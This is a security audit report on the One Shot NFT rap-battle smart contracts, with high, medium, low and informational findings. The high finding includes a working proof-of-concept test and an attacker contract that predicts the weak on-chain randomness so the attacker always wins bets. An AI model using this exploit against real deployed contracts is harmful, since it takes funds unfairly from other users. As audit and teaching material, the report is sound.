One Shot Security Review

Version 1.0

palmcivet

February 27, 2024

One Shot Security Review

palmcivet

27 February, 2024

Prepared by: Palmcivet Lead Auditors:

- palmcivet

Table of Contents

    * [M-2] `ICredToken` interface missing return values for ERC20 functions
  - Low
    * L-1: Unsafe ERC20 Operations should not be used
    * L-2: Solidity pragma should be specific, not wide
    * L-3: Conditional storage checks are not consistent
    * L-4: PUSH0 is not supported by all chains
    * L-5: `abi.encodePacked()` should not be used with dynamic types when passing the result to a hash function such as `keccak256()`
  - Informational
    * I-1: Functions not used internally could be marked external
    * I-2: Constants should be defined and used instead of literals
    * I-3: Event is missing `indexed` fields
    * I-4: Missing Natspec
    * I-5: State variables that could be declared immutable
    * I-6: Use Custom Errors
    * I-7: Long revert strings
    * I-8: Functions guaranteed to revert when called by normal users can be marked `payable`
    * I-9: `++i` costs less gas than `i++`, especially when it's used in **`for`**-loops (`--i`/`i--` too)
    * I-10: Using **`private`** rather than **`public`** for constants, saves gas
    * I-11: `CredToken` should inherit `ICredToken` interface
    * I-12: Pragma version^0.8.20 necessitates a version too recent to be trusted.
    * I-13: Storage variables should be formatted with a preprend `s_`

Protocol Summary

One Shot lets a user mint a rapper NFT, have it gain experience in the streets (staking) and Rap Battle against other NFTs for Cred.

Disclaimer

Palmcivet makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond to the following commit hash:

- Commit Hash: 47f820dfe0ffde32f5c713bbe112ab6566435bf7

Scope

```
./src
  #-- CredToken.sol
  #-- OneShot.sol
  #-- RapBattle.sol
  #-- Streets.sol
```

Compatibilities

- Solc Version: `^0.8.20`
- Chain(s) to deploy contract to:
  - Ethereum
  - Arbitrum

Roles

User - Should be able to mint a rapper, stake and unstake their rapper and go on stage/battle

Executive Summary

This was my first smart contract security review without Patrick/Cyfrin holding my hand. I am excited to be taking part in a Codehawks First Flight.

Issues found

Severity	Number of issues found
High	1
Medium	2
Low	5
Informational	13
Total	21

Findings

High

[H-1] Weak randomness in `RapBattle::_battle()` is not truly random and can be exploited, meaning a participant can always win battles

Description: The `RapBattle::_battle` function utilizes pseudorandom number generation based on `block.timestamp`, `block.prevrandao`, and `msg.sender` for determining the outcome of rap battles. This method of generating randomness is inherently insecure and predictable, as it relies on values that can be influenced or anticipated by participants. Specifically, `block.timestamp` is known and can be manipulated by miners to some extent, and `msg.sender` is controlled by the user initiating the transaction. Although `block.prevrandao` aims to add unpredictability, the overall approach does not provide true randomness. This weakness allows a participant with enough knowledge and resources to predict or influence the outcome of the battle by executing transactions at carefully chosen times or repeatedly until favorable conditions are met.

Impact: The impact of this vulnerability is significant in the context of the `RapBattle` contract, as it undermines the fairness and integrity of rap battles. A bad actor with the ability to predict or influence the pseudorandom number generation could manipulate the outcome to ensure they always win,

regardless of the skill levels associated with the NFTs involved in the battle. This not only allows the attacker to unfairly accumulate winnings but also damages trust in the system, potentially deterring honest participants from engaging with the platform. Over time, this could lead to a concentration of resources in the hands of attackers and diminish the overall value and utility of the NFTs and the platform.

Proof of Concept:

1. User initiates a battle
2. Attacker sets up a contract that copies the weak randomness
    1. Attacker contract checks the winning conditions using the same weak randomness
    2. Attacker contract only executes if they are guaranteed a win and reverts if not
3. Attacker calls `RapBattle::goOnStageOrBattle()` from their attacker contract, winning the battle

Code

Place the following into `OneShotTest.t.sol`

```
event Battle(address indexed challenger, uint256 tokenId, address
    indexed winner);

     function test_weak_randomness_can_be_exploited() public
        twoSkilledRappers {
         vm.startPrank(user);
         oneShot.approve(address(rapBattle), 0);
         cred.approve(address(rapBattle), 3);
         rapBattle.goOnStageOrBattle(0, 3);
         vm.stopPrank();

         vm.startPrank(challenger);
         oneShot.approve(address(rapBattle), 1);
         cred.approve(address(rapBattle), 3);

         RapBattleAttacker rbAttacker = new RapBattleAttacker(address(
            rapBattle));
         cred.transfer(address(rbAttacker), 3);
         vm.stopPrank();

         vm.prank(address(rbAttacker));
         cred.approve(address(rapBattle), 3);

         uint256 initialBalance = cred.balanceOf(address(rbAttacker));
         // Set up the expectations
         vm.expectEmit();
         emit RapBattle.Battle(address(rbAttacker), 1, address(
            rbAttacker));
```

```
25
26          vm.startPrank(challenger);
27          bool success = false;
28          uint256 attemptTimestamp = block.timestamp;
29          uint256 maxAttempts = 100; // Prevent infinite loop
30          for (uint256 i = 0; i < maxAttempts && !success; i++) {
31              vm.warp(attemptTimestamp + i * 60);
32              try rbAttacker.guaranteedWinBattle(1) {
33                  success = true;
34              } catch {}
35          }
36          require(success, "Failed to win after multiple attempts");
37          vm.stopPrank();
38
39          uint256 finalBalance = cred.balanceOf(address(rbAttacker));
40          assert(finalBalance > initialBalance);
41      }
```

And this contract as well.

```
1  import {IERC20} from "@openzeppelin/contracts/interfaces/IERC20.sol";
2
3  contract RapBattleAttacker {
4      RapBattle public rapBattle;
5      address public owner;
6
7      constructor(address _rapBattleAddress) {
8          rapBattle = RapBattle(_rapBattleAddress);
9          owner = msg.sender;
10     }
11
12     function guaranteedWinBattle(uint256 _tokenId) external {
13         if (msg.sender != owner) revert();
14         bool willWin = _checkWinCondition(_tokenId);
15         if (!willWin) revert();
16         if (willWin) rapBattle.goOnStageOrBattle(_tokenId, rapBattle.
               defenderBet());
17     }
18
19     function _checkWinCondition(uint256 _tokenId) internal view returns
           (bool) {
20         uint256 defenderRapperSkill = rapBattle.getRapperSkill(
               rapBattle.defenderTokenId());
21         uint256 challengerRapperSkill = rapBattle.getRapperSkill(
               _tokenId);
22         uint256 totalBattleSkill = defenderRapperSkill +
               challengerRapperSkill;
23
24         uint256 random =
25             uint256(keccak256(abi.encodePacked(block.timestamp, block.
                   prevrandao, address(this)))) % totalBattleSkill;
```

```
26
27          if (random > defenderRapperSkill) return true;
28
29          return false;
30      }
31
32      function withdrawToken(IERC20 _token) external {
33          if (msg.sender != owner) revert();
34          _token.transfer(msg.sender, _token.balanceOf(address(this)));
35      }
36  }
```

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Implement Chainlink VRF instead.

Medium

[M-1] Centralization Risk for trusted owners

Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

- Found in src/CredToken.sol Line: 8

```
1  contract Credibility is ERC20, Ownable {
```

- Found in src/CredToken.sol Line: 13

```
1      function setStreetsContract(address streetsContract) public
          onlyOwner {
```

- Found in src/OneShot.sol Line: 10

```
1  contract OneShot is IOneShot, ERC721URIStorage, Ownable {
```

- Found in src/OneShot.sol Line: 20

```
1      function setStreetsContract(address streetsContract) public
          onlyOwner {
```

[M-2] `ICredToken` interface missing return values for ERC20 functions

Description: Incorrect return values for ERC20 functions. A contract compiled with Solidity > 0.4.22 interacting with these functions will fail to execute them, as the return value is missing.

Impact: `ICredToken.transfer` does not return a boolean. Bob deploys the token. Alice creates a contract that interacts with it but assumes a correct ERC20 interface implementation. Alice's contract is unable to interact with Bob's contract.

Recommended Mitigation: Set the appropriate return values and types for the defined ERC20 functions.

```
-    function approve(address to, uint256 amount) external;
+    function approve(address to, uint256 amount) external returns(bool);
-    function transfer(address to, uint256 amount) external;
+    function transfer(address to, uint256 amount) external returns(bool);
-    function transferFrom(address from, address to, uint256 amount) external;
+    function transferFrom(address from, address to, uint256 amount) external returns(bool);
```

Source

Low

L-1: Unsafe ERC20 Operations should not be used

ERC20 functions may not behave as expected. For example: return values are not always meaningful. It is recommended to use OpenZeppelin's SafeERC20 library.

- Found in src/RapBattle.sol Line: 46

```
            oneShotNft.transferFrom(msg.sender, address(this), _tokenId);
```

- Found in src/RapBattle.sol Line: 47

```
            credToken.transferFrom(msg.sender, address(this), _credBet);
```

- Found in src/RapBattle.sol Line: 73

```
            credToken.transfer(_defender, defenderBet);
```

- Found in src/RapBattle.sol Line: 74

```
            credToken.transferFrom(msg.sender, _defender, _credBet);
```

- Found in src/RapBattle.sol Line: 77

```
credToken.transfer(msg.sender, _credBet);
```

- Found in src/RapBattle.sol Line: 81

```
oneShotNft.transferFrom(address(this), _defender,
    defenderTokenId);
```

- Found in src/Streets.sol Line: 36

```
oneShotContract.transferFrom(msg.sender, address(this),
    tokenId);
```

- Found in src/Streets.sol Line: 82

```
oneShotContract.transferFrom(address(this), msg.sender,
    tokenId);
```

L-2: Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/CredToken.sol Line: 2

```
pragma solidity ^0.8.20;
```

- Found in src/OneShot.sol Line: 2

```
pragma solidity ^0.8.20;
```

- Found in src/RapBattle.sol Line: 2

```
pragma solidity ^0.8.20;
```

- Found in src/Streets.sol Line: 2

```
pragma solidity ^0.8.20;
```

- Found in src/interfaces/ICredToken.sol Line: 2

```
pragma solidity ^0.8.20;
```

- Found in src/interfaces/IOneShot.sol Line: 2

```
pragma solidity ^0.8.20;
```

L-3: Conditional storage checks are not consistent

When writing `require` or `if` conditionals that check storage values, it is important to be consistent to prevent off-by-one errors. There are instances found where the same storage variable is checked multiple times, but the conditionals are not consistent.

- Found in src/RapBattle.sol Line: 56

```
1          require(defenderBet == _credBet, "RapBattle: Bet amounts
               do not match");
```

- Found in src/RapBattle.sol Line: 60

```
1          uint256 totalPrize = defenderBet + _credBet;
```

L-4: PUSH0 is not supported by all chains

Solc compiler version 0.8.20 switches the default target EVM version to Shanghai, which means that the generated bytecode will include PUSH0 opcodes. Be sure to select the appropriate EVM version in case you intend to deploy on a chain other than mainnet like L2 chains that may not support PUSH0, otherwise deployment of your contracts will fail.

- Found in src/CredToken.sol Line: 2

```
1 pragma solidity ^0.8.20;
```

- Found in src/OneShot.sol Line: 2

```
1 pragma solidity ^0.8.20;
```

- Found in src/RapBattle.sol Line: 2

```
1 pragma solidity ^0.8.20;
```

- Found in src/Streets.sol Line: 2

```
1 pragma solidity ^0.8.20;
```

- Found in src/interfaces/ICredToken.sol Line: 2

```
1 pragma solidity ^0.8.20;
```

- Found in src/interfaces/IOneShot.sol Line: 2

```
1 pragma solidity ^0.8.20;
```

L-5: `abi.encodePacked()` should not be used with dynamic types when passing the result to a hash function such as `keccak256()`

Use `abi.encode()` instead which will pad items to 32 bytes, which will prevent hash collisions (e.g. `abi.encodePacked(0x123,0x456)` => `0x123456` => `abi.encodePacked(0x1,0x23456)`, but `abi.encode(0x123,0x456)` => `0x0...1230...456`). "Unless there is a compelling reason, `abi.encode` should be preferred". If there is only one argument to `abi.encodePacked()` it can often be cast to `bytes()` or `bytes32()` instead. If all arguments are strings and or bytes, `bytes.concat()` should be used instead

Instances (1):

```
File: RapBattle.sol

67:             uint256(keccak256(abi.encodePacked(block.timestamp,
    block.prevrandao, msg.sender))) % totalBattleSkill;
```

Informational

I-1: Functions not used internally could be marked external

- Found in src/CredToken.sol Line: 13

```
    function setStreetsContract(address streetsContract) public
        onlyOwner {
```

- Found in src/CredToken.sol Line: 23

```
    function mint(address to, uint256 amount) public
        onlyStreetContract {
```

- Found in src/OneShot.sol Line: 20

```
    function setStreetsContract(address streetsContract) public
        onlyOwner {
```

- Found in src/OneShot.sol Line: 29

```
    function mintRapper() public {
```

- Found in src/OneShot.sol Line: 39

```
    function updateRapperStats(
```

- Found in src/OneShot.sol Line: 59

```
1     function getRapperStats(uint256 tokenId) public view returns (
          RapperStats memory) {
```

- Found in src/OneShot.sol Line: 63

```
1     function getNextTokenId() public view returns (uint256) {
```

I-2: Constants should be defined and used instead of literals

- Found in src/Streets.sol Line: 43

```
1         uint256 daysStaked = stakedDuration / 1 days;
```

- Found in src/Streets.sol Line: 52

```
1         if (daysStaked >= 1) {
```

- Found in src/Streets.sol Line: 54

```
1             credContract.mint(msg.sender, 1);
```

- Found in src/Streets.sol Line: 56

```
1         if (daysStaked >= 2) {
```

- Found in src/Streets.sol Line: 58

```
1             credContract.mint(msg.sender, 1);
```

- Found in src/Streets.sol Line: 60

```
1         if (daysStaked >= 3) {
```

- Found in src/Streets.sol Line: 62

```
1             credContract.mint(msg.sender, 1);
```

- Found in src/Streets.sol Line: 64

```
1         if (daysStaked >= 4) {
```

- Found in src/Streets.sol Line: 66

```
1             credContract.mint(msg.sender, 1);
```

- Found in src/Streets.sol Line: 70

```
1         if (daysStaked >= 1) {
```

I-3: Event is missing `indexed` fields

Index event fields make the field more quickly accessible to off-chain tools that parse events. However, note that each index field costs extra gas during emission, so it's not necessarily best to index the maximum allowed per event (three fields). Each event should use three indexed fields if there are three or more fields, and gas usage is not particularly of concern for the events in question. If there are fewer than three fields, all of the fields should be indexed.

- Found in src/RapBattle.sol Line: 27

```
1     event OnStage(address indexed defender, uint256 tokenId,
          uint256 credBet);
```

- Found in src/RapBattle.sol Line: 28

```
1     event Battle(address indexed challenger, uint256 tokenId,
          address indexed winner);
```

- Found in src/Streets.sol Line: 24

```
1     event Staked(address indexed owner, uint256 tokenId, uint256
          startTime);
```

- Found in src/Streets.sol Line: 25

```
1     event Unstaked(address indexed owner, uint256 tokenId, uint256
           stakedDuration);
```

I-4: Missing Natspec

The lack of NatSpec comments in the reviewed contracts means that developers, reviewers, and end-users are deprived of potentially valuable insights into the contract's intended behaviors, inputs, outputs, and error handling mechanisms. While this omission does not directly impact the security or functionality of the smart contracts, it significantly hinders their maintainability and comprehensibility. It is strongly recommended to implement NatSpec comments in future iterations of the contract development to foster better understanding, facilitate easier reviews, and enhance overall code quality.

I-5: State variables that could be declared immutable

State variables that are not updated following deployment should be declared immutable to save gas.

In `RapBattle`:

```
-     IOneShot public oneShotNft;
-     ICredToken public credToken;
+     IOneShot public immutable i_oneShotNft;
+     ICredToken public immutable i_credToken;
```

In `Streets`:

```
-     IOneShot public oneShotContract;
-     Credibility public credContract;
+     IOneShot public immutable i_oneShotContract;
+     Credibility public immutable i_credContract;
```

I-6: Use Custom Errors

Source Instead of using error strings, to reduce deployment and runtime cost, you should use Custom Errors. This would save both deployment and runtime cost.

Instances (4):

```
File: CredToken.sol

20:         require(msg.sender == address(_streetsContract), "Not the
    streets contract");
```

```
File: OneShot.sol

25:         require(msg.sender == address(_streetsContract), "Not the
    streets contract");
```

```
File: RapBattle.sol

58:         require(defenderBet == _credBet, "RapBattle: Bet amounts do
     not match");
```

```
File: Streets.sol

44:         require(stakes[tokenId].owner == msg.sender, "Not the token
     owner");
```

I-7: Long revert strings

Instances (1):

```
File: RapBattle.sol

58:         require(defenderBet == _credBet, "RapBattle: Bet amounts do not match");
```

I-8: Functions guaranteed to revert when called by normal users can be marked `payable`

If a function modifier such as `onlyOwner` is used, the function will revert if a normal user tries to pay the function. Marking the function as `payable` will lower the gas cost for legitimate callers because the compiler will not include checks for whether a payment was provided.

Instances (3):

```
File: CredToken.sol

14:     function setStreetsContract(address streetsContract) public onlyOwner {

24:     function mint(address to, uint256 amount) public onlyStreetContract {
```

```
File: OneShot.sol

20:     function setStreetsContract(address streetsContract) public onlyOwner {
```

I-9: `++i` costs less gas than `i++`, especially when it's used in `for`-loops (`--i`/`i--` too)

Saves 5 gas per loop

Instances (1):

```
File: OneShot.sol

30:         uint256 tokenId = _nextTokenId++;
```

I-10: Using `private` rather than `public` for constants, saves gas

If needed, the values can be read from the verified contract source code, or if there are multiple values there can be a single getter function that returns a tuple of the values of all currently-public constants.

Saves **3406-3606 gas** in deployment gas due to the compiler not having to create non-payable getter functions for deployment calldata, not having to store the bytes of the value outside of where it's used, and not adding another entry to the method ID table

Instances (3):

```
File: RapBattle.sol

20:     uint256 public constant BASE_SKILL = 65; // The starting base skill of a rapper

21:     uint256 public constant VICE_DECREMENT = 5; // -5 for each vice the rapper has

22:     uint256 public constant VIRTUE_INCREMENT = 10; // +10 for each virtue the rapper has
```

I-11: `CredToken` should inherit `ICredToken` interface

For a contract to guarantee that it adheres to a certain interface, it should explicitly inherit from that interface. This ensures clarity in contract design, enhances code readability, and facilitates easier integration with other contracts and external applications expecting adherence to the ICredToken specifications.

I-12: Pragma version^0.8.20 necessitates a version too recent to be trusted.

Source

`solc` frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Consider deploying with any of the following Solidity versions:

0.8.18

I-13: Storage variables should be formatted with a preprend `s_`

Adding `s_` to the beginning of storage variable names makes it easier to read which variables are located in storage. This is important because reading and writing to storage are expensive gas operations.

```
-   mapping(uint256 tokenId => Stake stake) public stakes;
+   mapping(uint256 tokenId => Stake stake) public s_stakes;
```